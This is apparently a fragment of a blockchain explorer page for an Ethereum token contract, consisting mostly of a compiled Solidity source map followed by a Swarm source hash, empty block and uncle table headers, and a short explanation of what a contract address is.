5:2;6989:222:0;;;;;;13:3:-1;8;5:12;2:2;;;30:1;27;20:12;2:2;6989:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;2039:178;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2039:178:0;;;:::i;:::-;;4834:19;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4834:19:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2780:83;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2780:83:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;2780:83:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;1671:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1671:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4770:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4770:22:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2303:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2303:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;2303:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4886:21;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4886:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3099:299;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3099:299:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;3099:299:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4859:19;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4859:19:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4683;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4683:19:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4199:315;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4199:315:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4199:315:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;4199:315:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;4199:315:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;4199:315:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;4199:315:0;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;4802:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4802:22:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1700:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1700:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6568:193;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6568:193:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4054:141;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4054:141:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;4054:141:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1939:96;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1939:96:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;1939:96:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;4625:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4625:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4741:19;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4741:19:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4942:707;4994:12;5034;5022:8;;:24;;:52;;;;;5066:8;;5050:12;:24;;5022:52;5014:61;;;;;;5097:4;;5090;;:11;:24;;;;5113:1;5105:4;;:9;5090:24;5082:33;;;;;;5122:4;;:7;;;;;;;;;;;;;5159:6;5145:20;;:10;:20;;;;:46;;;;;5190:1;5169:17;5179:6;5169:9;:17::i;:::-;:22;;5145:46;:102;;;;;5205:42;5195:52;;:6;:52;;;;5145:102;5142:299;;;5283:37;5318:1;5311:4;;:8;;;;;;5283;:23;5300:4;5283:23;;;;;;;;;;;;;;;;:27;;:37;;;;:::i;:::-;5257:8;:23;5274:4;5257:23;;;;;;;;;;;;;;;:63;;;;5348:30;5376:1;5369:4;;:8;;;;;;5348;:16;5357:6;5348:16;;;;;;;;;;;;;;;;:20;;:30;;;;:::i;:::-;5329:8;:16;5338:6;5329:16;;;;;;;;;;;;;;;:49;;;;5416:6;5392:41;;5409:4;5392:41;;;5431:1;5424:4;;:8;;;;;;5392:41;;;;;;;;;;;;;;;;;;5142:299;5479:33;5507:4;;5479:8;:23;5496:4;5479:23;;;;;;;;;;;;;;;;:27;;:33;;;;:::i;:::-;5453:8;:23;5470:4;5453:23;;;;;;;;;;;;;;;:59;;;;5542:30;5567:4;;5542:8;:20;5551:10;5542:20;;;;;;;;;;;;;;;;:24;;:30;;;;:::i;:::-;5519:8;:20;5528:10;5519:20;;;;;;;;;;;;;;;:53;;;;5608:10;5584:41;;5601:4;5584:41;;;5620:4;;5584:41;;;;;;;;;;;;;;;;;;5639:4;5632:11;;4942:707;;;:::o;2328:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3402:194::-;3465:12;3517:6;3486:7;:19;3494:10;3486:19;;;;;;;;;;;;;;;:28;3506:7;3486:28;;;;;;;;;;;;;;;:37;;;;3556:7;3535:37;;3544:10;3535:37;;;3565:6;3535:37;;;;;;;;;;;;;;;;;;3586:4;3579:11;;3402:194;;;;:::o;2867:108::-;2911:4;2931:38;2948:8;:20;2965:1;2948:20;;;;;;;;;;;;;;;;2931:12;;:16;;:38;;;;:::i;:::-;2924:45;;2867:108;:::o;7215:258::-;1913:5;;;;;;;;;;;1899:19;;:10;:19;;;1891:28;;;;;;7355:8;7345:7;:18;;;;7380:8;7370:7;:18;;;;7404:7;7395:6;:16;;;;7426:7;7418:6;:15;;;;7447:5;7440:4;:12;;;;7466:1;7459:4;:8;;;;7215:258;;;;;:::o;2407:20::-;;;;;;;;;;;;;:::o;3600:450::-;3677:12;3719:1;3703:18;;:4;:18;;;;:41;;;;;3742:1;3725:19;;:5;;;;;;;;;;;:19;;;3703:41;3700:112;;;3754:2;3746:5;;:10;;;;;;;;;;;;;;;;;;3700:112;;;3784:5;;;;;;;;;;;3778:11;;:2;:11;;;;3770:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3700:112;3844:26;3863:6;3844:8;:14;3853:4;3844:14;;;;;;;;;;;;;;;;:18;;:26;;;;:::i;:::-;3827:8;:14;3836:4;3827:14;;;;;;;;;;;;;;;:43;;;;3905:37;3935:6;3905:7;:13;3913:4;3905:13;;;;;;;;;;;;;;;:25;3919:10;3905:25;;;;;;;;;;;;;;;;:29;;:37;;;;:::i;:::-;3877:7;:13;3885:4;3877:13;;;;;;;;;;;;;;;:25;3891:10;3877:25;;;;;;;;;;;;;;;:65;;;;3964:24;3981:6;3964:8;:12;3973:2;3964:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;3949:8;:12;3958:2;3949:12;;;;;;;;;;;;;;;:39;;;;4015:2;4000:26;;4009:4;4000:26;;;4019:6;4000:26;;;;;;;;;;;;;;;;;;4040:4;4033:11;;3600:450;;;;;:::o;2355:21::-;;;;;;;;;;;;;:::o;4654:23::-;;;;:::o;4913:21::-;;;;:::o;6765:216::-;6805:18;6825:16;6843:15;6860:17;6879;6898;6930:7;;6939;;6948:4;;6954;;6960:6;;6968;;6923:52;;;;;;;;;;;;6765:216;;;;;;:::o;4712:19::-;;;;:::o;7477:132::-;1913:5;;;;;;;;;;;1899:19;;:10;:19;;;1891:28;;;;;;7523:22;7548:10;7523:35;;7565:6;:15;;:38;7589:4;7581:21;;;7565:38;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;7565:38:0;1926:1;7477:132::o;5655:907::-;5714:12;5753;5742:7;;:23;;:50;;;;;5785:7;;5769:12;:23;;5742:50;5734:59;;;;;;5815:4;;5808;;:11;:24;;;;5831:1;5823:4;;:9;5808:24;5800:33;;;;;;5840:12;5855:9;5840:24;;5871:13;5904:1;5894:6;;:11;5891:144;;5916:14;5940:6;;5933:4;:13;;;;;;5916:30;;5972:6;5963;;:15;5955:23;;5891:144;;;;6021:6;;6014:4;:13;;;;;;6006:21;;5891:144;6041:4;;:7;;;;;;;;;;;;;6072:6;6058:20;;:10;:20;;;;:46;;;;;6103:1;6082:17;6092:6;6082:9;:17::i;:::-;:22;;6058:46;:102;;;;;6118:42;6108:52;;:6;:52;;;;6058:102;6055:302;;;6196:38;6232:1;6224:5;:9;;;;;;6196:8;:23;6213:4;6196:23;;;;;;;;;;;;;;;;:27;;:38;;;;:::i;:::-;6170:8;:23;6187:4;6170:23;;;;;;;;;;;;;;;:64;;;;6262:31;6291:1;6283:5;:9;;;;;;6262:8;:16;6271:6;6262:16;;;;;;;;;;;;;;;;:20;;:31;;;;:::i;:::-;6243:8;:16;6252:6;6243:16;;;;;;;;;;;;;;;:50;;;;6331:6;6307:42;;6324:4;6307:42;;;6347:1;6339:5;:9;;;;;;6307:42;;;;;;;;;;;;;;;;;;6055:302;6389:34;6417:5;6389:8;:23;6406:4;6389:23;;;;;;;;;;;;;;;;:27;;:34;;;;:::i;:::-;6363:8;:23;6380:4;6363:23;;;;;;;;;;;;;;;:60;;;;6453:31;6478:5;6453:8;:20;6462:10;6453:20;;;;;;;;;;;;;;;;:24;;:31;;;;:::i;:::-;6430:8;:20;6439:10;6430:20;;;;;;;;;;;;;;;:54;;;;6520:10;6496:42;;6513:4;6496:42;;;6532:5;6496:42;;;;;;;;;;;;;;;;;;6552:4;6545:11;;;;5655:907;;;:::o;2979:116::-;3039:12;3069:8;:20;3078:10;3069:20;;;;;;;;;;;;;;;;3062:27;;2979:116;;;:::o;6989:222::-;1913:5;;;;;;;;;;;1899:19;;:10;:19;;;1891:28;;;;;;7116:9;7105:8;:20;;;;7143:9;7132:8;:20;;;;7166:5;7159:4;:12;;;;7185:5;7178:4;:12;;;;7204:1;7197:4;:8;;;;6989:222;;;;:::o;2039:178::-;2102:8;;;;;;;;;;;2088:22;;:10;:22;;;2080:31;;;;;;2151:8;;;;;;;;;;;2123:37;;2144:5;;;;;;;;;;;2123:37;;;;;;;;;;;;2175:8;;;;;;;;;;;2167:5;;:16;;;;;;;;;;;;;;;;;;2209:1;2190:8;;:21;;;;;;;;;;;;;;;;;;2039:178::o;4834:19::-;;;;:::o;2780:83::-;1913:5;;;;;;;;;;;1899:19;;:10;:19;;;1891:28;;;;;;2851:6;2843:5;;:14;;;;;;;;;;;;;;;;;;2780:83;:::o;1671:20::-;;;;;;;;;;;;;:::o;4770:22::-;;;;:::o;2303:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4886:21::-;;;;:::o;3099:299::-;3158:12;3194:5;;;;;;;;;;;3188:11;;:2;:11;;;;3180:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3252:32;3277:6;3252:8;:20;3261:10;3252:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;3229:8;:20;3238:10;3229:20;;;;;;;;;;;;;;;:55;;;;3306:24;3323:6;3306:8;:12;3315:2;3306:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;3291:8;:12;3300:2;3291:12;;;;;;;;;;;;;;;:39;;;;3363:2;3342:32;;3351:10;3342:32;;;3367:6;3342:32;;;;;;;;;;;;;;;;;;3388:4;3381:11;;3099:299;;;;:::o;4859:19::-;;;;:::o;4683:::-;;;;:::o;4199:315::-;4288:12;4340:6;4309:7;:19;4317:10;4309:19;;;;;;;;;;;;;;;:28;4329:7;4309:28;;;;;;;;;;;;;;;:37;;;;4379:7;4358:37;;4367:10;4358:37;;;4388:6;4358:37;;;;;;;;;;;;;;;;;;4425:7;4402:47;;;4450:10;4462:6;4478:4;4485;4402:88;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;4402:88:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4402:88:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;4402:88:0;;;;4504:4;4497:11;;4199:315;;;;;:::o;4802:22::-;;;;:::o;1700:23::-;;;;;;;;;;;;;:::o;6568:193::-;6611:18;6631:16;6649:15;6666:17;6685:18;6718:8;;6728;;6738:4;;6744;;6750;;6711:44;;;;;;;;;;6568:193;;;;;:::o;4054:141::-;4131:14;4161:7;:19;4169:10;4161:19;;;;;;;;;;;;;;;:28;4181:7;4161:28;;;;;;;;;;;;;;;;4154:35;;4054:141;;;;:::o;1939:96::-;1913:5;;;;;;;;;;;1899:19;;:10;:19;;;1891:28;;;;;;2020:9;2009:8;;:20;;;;;;;;;;;;;;;;;;1939:96;:::o;4625:23::-;;;;:::o;4741:19::-;;;;:::o;472:104::-;524:6;552:1;547;:6;;539:15;;;;;;569:1;565;:5;561:9;;472:104;;;;:::o;364:::-;416:6;439:1;435;:5;431:9;;460:1;455;:6;;447:15;;;;;;364:104;;;;:::o

Swarm Source

bzzr://28514f1770ed1b4957dc9344cf64893fde86ab5cdc0fa8d479ea6863ba3f3e6f

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.